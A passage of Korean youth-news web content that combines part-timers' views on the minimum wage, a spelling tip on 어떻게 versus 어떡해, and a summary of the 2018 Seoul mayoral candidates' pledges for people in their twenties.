Q 현장에서 보기에 어떤가요? 정말 최저임금 때문에 점주들의 부담이 커졌나요?
박 - 에이, 그건 아니다. 물론 동네 편의점은 그럴 수도 있죠. 그런데 제가 일하는 편의점 점주는 벌써 7년째 편의점을 운영하고 계시거든요.
아르바이트생 시급 때문에 못 살 정도는 아니라는 건데. 만약 매출이 줄어서 힘들다 해도, 그걸 아르바이트생 시급을 줄여 메꾸려는 건 못된 심보 아닌가요?
김 - 저도 같은 생각이에요. 그게 부담될 정도면.. 이 이상 말은 하지 않겠습니다.
오 - 이게 우리나라 편의점 구조 자체가 본사로 들어가는 게 많아서 그런 것 같아요. 그래서 힘든 건 이해하는데 그게 아르바이트생 잘못은 아니잖아요. 위 구조가 잘못된 걸 알바한테 착취하는 건 아닌 것 같아요.
Q 그럼 지금보다 최저임금이 올라야 한다는 얘기에 대해선 어떻게 생각하시나요?
김 - 저는 지금 최저임금은 꽤 높아졌다고 생각해요. 점차 더 올려야 하겠지만 시장 상황에 맞춰 차근차근 올라야 한다고 생각하고요. 지금은 이 정도로 만족해요.
다만, 최저시급은 말 그대로 '최저'일 뿐이고, 노동 강도에 따라 그 이상을 줘야 한다고 생각합니다.
오 - 전 오히려 최저임금이 더 올라야 한다고 생각하는 입장이에요. 최저임금도 안 지키는 곳이 너무 많기 때문에, 기본적으로 1000원씩 적게 주니까 법적으로라도 최저를 높여야 적당한 임금을 받을 수 있을 것 같아요.
박 - 저도 지금 시급 정도면 만족합니다. 제 입장에선 오르면 더 좋지만요. 일단 지금 정해진 최저임금이라도 지켜줬으면 하는 바람이라서요. 아, 그런데 제 주위에선 최저임금 8000원으로 올랐으면 좋겠다는 말들도 많았어요.?
- [스냅타임] [애인 도망가는 맞춤법]어떡해 맨날 틀려 어떻게
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신조어가 넘쳐나는 지금 "맞춤법이 뭐 그리 중요해?"라고 할 수 있겠지만 사실은 그렇지 않다.
알바몬이 조사한 바에 따르면 여대생 10명 중 9명은 맞춤법을 틀리는 남성에게 실망한다고 했다. 남성 역시 10명 중 8명은 맞춤법을 틀리는 여성에 대한 호감이 줄어든다고 답했다.
취업을 준비하는 20대라면 맞춤법은 더 중요하다. 기본적인 맞춤법이 틀린 이력서나 자기소개서를 기업의 인사담당자들이 좋은 시선으로 바라볼리가 없기 때문이다.
그래서 마련했다. 평소에도 자주 사용하고, 자기소개서에서도 한 번은 등장할 법한 틀리기 쉬운 맞춤법.
(사진=이미지투데이)
혼란스러워서 어떻게
혼란스럽기 그지 없는 대화.
메시지 속 주인공은 어떻게와 어떡해를 단 한 번도 제대로 쓴 적이 없다.
어떻게, 어떡해, 어떻해, 어떡게. 다양하게 잘못 쓰는 사례가 발생하는 맞춤법 중 하나.
어떻게, 어떡해
어떻게 = 의견, 성질, 형편, 상태 따위가 어찌 되어 있다.
어떡해 = 어떠하게 하다의 준말
두 낱말을 구별해서 쓰기 어렵다면, 원리 하나를 기억해두면 간단하다.
'어떻게 해'를 대신 넣어보자.
어떻게 해를 넣어서 어색하면 '어떻게'
어떻게 해를 넣어서 어색하지 않다면 '어떡해'
예시)
네가 그리 아프면 어떻게 해(어색하지 않으므로 어떡해)
나 이걸 어떻게 해 사용하는지 모르겠어(어색하니까 어떻게)
응용)
어떻게 이렇게 쉬운 원리를 알려줬는데도 틀리게 쓸 수 있는지, 너를 정말 어떡하면 좋니.
- [스냅타임] [얘들아 투표하자] '서울시장' 청년 공약
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6월 13일 서울시장 선거에 나서는 후보들. 왼쪽부터 안철수 바른미래당 후보, 김문수 자유한국당 후보, 박원순 더불어민주당 후보.(사진=연합뉴스)
선거가 다가올 때면 20대는 항상 비난의 대상이 된다.
정치에 무관심해 세상을 바꾸려는 노력을 하지 않는다는 비판이다. 투표율만 보면 20대 투표율이 다른 세대에 비해 낮은 것도 사실이다.
그러나 지금의 20대만 투표율이 낮을까? 지금의 30~40대가 20대였던 1998년 제2회 지방선거, 2002년 제3회 지방선거 투표율은 2014년 투표율보다 10%포인트 이상 낮았다.
학비를 대기 위해 아르바이트를 하고, 바늘구멍보다 작은 취업문을 통과하려고 학원을 전전하는 지금의 20대가 기성세대보다 높은 투표율을 보이고 있다는 것.
20대가 결코 정치에 무관심하지만은 않다는 얘기다. 다만 정말 선거 공문 하나하나 살펴보기 어려운 20대를 위해 20대를 위한 공약, 6.13 지방선거를 앞두고 20대가 알고 있어야 할 후보자들의 정책을 요약했다.?
(자료=중앙선거관리위원회)
서울시장편
6월 13일, 투표장으로 향하기 전 서울에 사는 20대라면 아래 공약만 빠르게 살펴보자. 나를 위한 정책이 무엇인지. 20대의 삶이 조금이나마 바뀔 수 있는 공약은 어떤 것인지.
박원순 더불어민주당 후보는 3000만원을 10년간 빌려준다
3선에 도전하는 박 후보는 20대 표심을 잡기위해 어떤 공약을 내세웠을까?
그는 창업 혹은 취직 때문에 돈이 필요한 20대에게 최대 3000만원을 연이자 0.5%로 최대 10년까지 빌려준다고 한다. 대상은 중위소득 150%(올해 3인 가구 기준 월 522만원)이하의 중산층 청년.
(사진=연합뉴스)
박 후보는 서울의 25개 자치구에 '서울 청년종합지원센터'를 만들어 창업 공간뿐만 아니라 일자리와 복지, 생활·심리 상담도 지원할 계획이다.
공약이 이행된다면 청년들은 센터를 통해 집과 가까운 곳에서 창업과 취업 기간에 겪는 심리적 어려움을 상담받거나 창업할 공간을 받을 수 있다.
(사진=이미지투데이)
아울러 박 후보는 2022년까지 청년 청년임대주택 8만호를 공급한다고 하니 임대료가 저렴한 공공임대주택에 살 수 있는 기회도 늘어날 전망이다.
안철수 바른미래당 후보는 월 5만원 2년간 저축하면 720만원 준다
안 후보는 취업준비생의 취향을 저격한?'서울미래 저축제도'를 공약으로 내세웠다.
대학생 시절 한 달에 단돈 5만원씩 2년간 저축하면 그 5배인 25만원을 서울시가 매달 저축해주는 제도다. 이렇게 2년 동안 저축하면 총 720만원(30만원×24개월)을 모을 수 있다.
이 720만원은 취업준비기간 한 달에 60만원씩 1년 동안 받을 수 있다. 지출 규모가 커지는 취업준비기간 요긴하게 쓸 수 있는 것이다.
(사진=연합뉴스)
서울에 거주하는 학생들의 학자금 대출이자는 1년에 90억원. 안 후보는 민간과 매칭해서 대출이자도 다 내준다고 한다.
또 청년이 처음 임대주택에 들어갈 때 내야 하는 목돈인 보증금을 안 내도 되도록 서울신용보증재단이 보증을 서주는 '청년 보증금 프리제도'를 도입한다.
(사진=이미지투데이)
보증금을 내는 대신 서울신용보증재단의 보증서를 집주인에게 줄 수 있도록 서울시가 보증을 선다는 얘기다. 그래도 보증금을 달라고 하는 집주인이 있을 때는 신용보증재단의 보증서를 가지고 은행에 가면 낮은 금리로 대출을 받을 수 있도록 해준다고 한다.
(사진=연합뉴스)
김문수 자유한국당 후보는 52개 대학 주변 개발한다
(사진=연합뉴스)
김 후보는 슬럼화된 서울의 52개 대학 주변을 집중적으로 개발할 계획이라고 한다.
지역주민과 대학, 기업이 대학 주변을 개발하겠다는데 뜻을 모으면 서울시가 3곳의 소통 통로를 제공하면서 동시에 특구를 제시하겠다는 것이다. 프로젝트의 이름은 '4차 산업혁명 특구'.
대학가를 창업을 하려는 대학생뿐 아니라 주변보다 깨끗하고 저렴한 주거지를 찾는 학생도 혜택을 받을 수 있는 곳으로 재탄생시키겠다는 얘기다.
(사진=연합뉴스)
새 빌딩을 짓거나 단지를 조성할 예정인데 몇 개 층은 주거, 다른 층들은 창업할 수 있는 일터, 또 놀이터 제공차원에서 애니메이션 극장 등을 짓는 형식을 구상 중이라고 한다.?대학 특성 등에 맞춰 홍대, 신촌 등은 문화 밸리, 홍릉(회기역 인근)은 과학 밸리로 육성할 전망.?
또 기업들이 적극적으로 이 프로젝트에 참여할 수 있도록 신규 부동산 취득세, 등록세 등을 면제할 예정이란다.
한 줄 요약으로 살펴보자
(자료=박원순, 안철수, 김문수 선거캠프 제공)